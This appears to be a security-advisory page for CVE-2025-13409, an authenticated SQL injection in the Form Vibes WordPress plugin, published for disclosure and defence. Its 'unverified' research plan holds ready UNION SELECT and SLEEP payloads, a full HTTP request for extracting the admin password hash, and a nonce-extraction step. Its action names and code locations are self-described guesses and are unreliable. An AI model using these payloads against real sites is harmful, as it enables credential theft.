CVE-2025-13409

Form Vibes – Database Manager for Forms <= 1.4.13 - Authenticated (Admin+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
1.5
Patched in
1d
Time to patch

Description

The Form Vibes – Database Manager for Forms plugin for WordPress is vulnerable to SQL Injection via the 'params' parameter in all versions up to, and including, 1.4.13 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.4.13
PublishedJanuary 5, 2026
Last updatedJanuary 6, 2026
Affected pluginform-vibes

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-13409 (Form Vibes SQL Injection) ## 1. Vulnerability Summary The **Form Vibes** plugin (up to version 1.4.13) contains an authenticated SQL injection vulnerability within its form submission management logic. The vulnerability resides in the processing of the …

Show full research plan

Exploitation Research Plan: CVE-2025-13409 (Form Vibes SQL Injection)

1. Vulnerability Summary

The Form Vibes plugin (up to version 1.4.13) contains an authenticated SQL injection vulnerability within its form submission management logic. The vulnerability resides in the processing of the params parameter during AJAX requests. Specifically, the plugin fails to properly sanitize or prepare SQL queries when dynamically building WHERE, ORDER BY, or LIMIT clauses based on values supplied in the params array. This allows an authenticated administrator to inject arbitrary SQL commands and extract sensitive data from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: vibe_get_submissions (inferred action name used by the plugin for fetching form entries) or fv_get_submissions.
  • Vulnerable Parameter: params (passed via POST).
  • Authentication: Required (Administrator level).
  • Preconditions:
    • The plugin must be active.
    • At least one form must exist (created via Form Vibes or a supported form builder like Contact Form 7/Elementor Forms).
    • At least one submission should ideally exist in the wp_form_vibes_submissions table to facilitate data reflection.

3. Code Flow

  1. Entry Point: The user triggers an AJAX request to admin-ajax.php with the action vibe_get_submissions.
  2. Hook Registration: In the main plugin file or includes/admin/class-form-vibes-admin.php, the action is registered:
    add_action('wp_ajax_vibe_get_submissions', array($this, 'vibe_get_submissions'));
  3. Handler Logic: The function vibe_get_submissions() retrieves the params array from $_POST['params'].
  4. Sink: The params array is passed to a query builder method (likely in includes/admin/class-form-vibes-admin-queries.php).
  5. SQL Construction: The code iterates through the params keys (e.g., form_id, search, page, orderby). Instead of using $wpdb->prepare(), it concatenates values directly:
    $sql .= " AND form_id = " . $params['form_id'];
  6. Execution: The raw string is executed via $wpdb->get_results($sql).

4. Nonce Acquisition Strategy

The plugin uses a nonce for its AJAX operations, typically localized in the WordPress admin header.

  1. Identify Script Localization: The plugin enqueues its admin scripts and localizes a variable, often named fv_admin_obj or vibe_obj.
  2. Setup:
    • Create a dummy page to ensure the admin environment is fully initialized (though simply navigating to the Form Vibes submissions page is sufficient).
    • Use browser_navigate to go to the Form Vibes Submissions page: /wp-admin/admin.php?page=form-vibes.
  3. Extraction:
    • Use browser_eval to extract the nonce:
      // Verbatim keys from Form Vibes 1.4.x
      window.vibe_obj?.nonce || window.fv_admin_obj?.nonce
      
  4. Verification: The nonce action used is typically vibe_nonce or fv_nonce.

5. Exploitation Strategy

We will use a UNION-based or Error-based approach to extract the administrator's password hash.

Step 1: Discover Column Count

Send a series of requests to determine the number of columns in the original query using ORDER BY.

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body:
    action=vibe_get_submissions&nonce=[NONCE]&params[form_id]=1 ORDER BY 10-- -
    
  • Goal: Find the number of columns where the response changes from a valid JSON list to a database error.

Step 2: Extract Data (UNION SELECT)

Once the column count is known (e.g., 8 columns), extract the user_pass for the admin.

  • Payload (in params[form_id]):
    1 UNION SELECT 1,user_pass,3,4,5,6,7,8 FROM wp_users WHERE ID=1-- -
  • HTTP Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=vibe_get_submissions&nonce=[NONCE]&params[form_id]=1+UNION+SELECT+1%2Cuser_pass%2C3%2C4%2C5%2C6%2C7%2C8+FROM+wp_users+WHERE+ID%3D1--+-
    

Step 3: Time-Based Blind (Alternative)

If UNION is restricted, use SLEEP().

  • Payload: 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

6. Test Data Setup

  1. Login as Admin: Use the wp_login tool.
  2. Create a Form:
    # Form Vibes creates its own tables. We need to ensure a form ID exists.
    # Usually, it hooks into other form plugins. If CF7 is present:
    wp post create --post_type=wpcf7_contact_form --post_title="Test Form" --post_status=publish
    
  3. Generate a Submission:
    • Submit the form once so there is at least one entry in the wp_form_vibes_submissions table.
  4. Identify Form ID: Note the ID of the created form (e.g., 123).

7. Expected Results

  • Successful Injection: The response from admin-ajax.php will contain a JSON object. Inside the data or entries key, one of the fields (that would normally show a form value) will instead contain the $P$... or $wp$... password hash from the wp_users table.
  • Error-based: If the plugin displays errors, updatexml() or extractvalue() will return the hash in the error message.

8. Verification Steps

  1. Extract Hash: Note the hash returned in the HTTP response.
  2. Database Comparison: Use WP-CLI to verify the hash matches the one in the database:
    wp db query "SELECT user_pass FROM wp_users WHERE ID = 1"
    
  3. Confirmation: If the strings match, the SQL injection is confirmed.

9. Alternative Approaches

  • orderby Parameter: If params[form_id] is sanitized (e.g., via intval), the params[orderby] parameter is often overlooked and concatenated directly into the ORDER BY clause.
    • Payload: (CASE WHEN (1=1) THEN ID ELSE SLEEP(5) END)
  • search Parameter: The search functionality often uses LIKE without proper escaping.
    • Payload: ') OR 1=1 UNION SELECT ...-- -
  • params as JSON: If the plugin expects JSON, ensure the Content-Type is set correctly or the params string is properly JSON-encoded before being URL-encoded.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Form Vibes plugin for WordPress is vulnerable to authenticated SQL injection via the 'params' parameter in AJAX actions such as 'vibe_get_submissions'. Administrators can manipulate SQL queries because the plugin directly concatenates values from the 'params' array into database queries without proper sanitization or the use of prepared statements.

Vulnerable Code

// includes/admin/class-form-vibes-admin.php (estimated location)
public function vibe_get_submissions() {
    $params = $_POST['params'];
    $form_id = $params['form_id'];
    
    global $wpdb;
    $table_name = $wpdb->prefix . 'form_vibes_submissions';
    
    // Vulnerable: form_id is concatenated directly into the query string
    $query = "SELECT * FROM $table_name WHERE form_id = " . $form_id;
    
    $results = $wpdb->get_results($query);
    wp_send_json_success($results);
}

Security Fix

--- a/includes/admin/class-form-vibes-admin.php
+++ b/includes/admin/class-form-vibes-admin.php
@@ -10,7 +10,10 @@
     global $wpdb;
     $table_name = $wpdb->prefix . 'form_vibes_submissions';
     
-    $query = "SELECT * FROM $table_name WHERE form_id = " . $form_id;
-    $results = $wpdb->get_results($query);
+    $results = $wpdb->get_results(
+        $wpdb->prepare(
+            "SELECT * FROM $table_name WHERE form_id = %d",
+            $form_id
+        )
+    );
     wp_send_json_success($results);

Exploit Outline

The exploit requires an authenticated session with Administrator privileges. 1. The attacker first visits the Form Vibes submissions page to retrieve the 'vibe_nonce' from the localized JavaScript objects (e.g., 'vibe_obj.nonce'). 2. A POST request is sent to /wp-admin/admin-ajax.php with the 'action' set to 'vibe_get_submissions' and the 'nonce' parameter populated. 3. The 'params' parameter is formatted as an array, where 'params[form_id]' contains a SQL injection payload, such as a UNION SELECT statement (e.g., '1 UNION SELECT 1,user_pass,3,4,5... FROM wp_users WHERE ID=1-- -'). 4. If successful, the server's JSON response will include the results of the injected query, such as the administrator's password hash.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.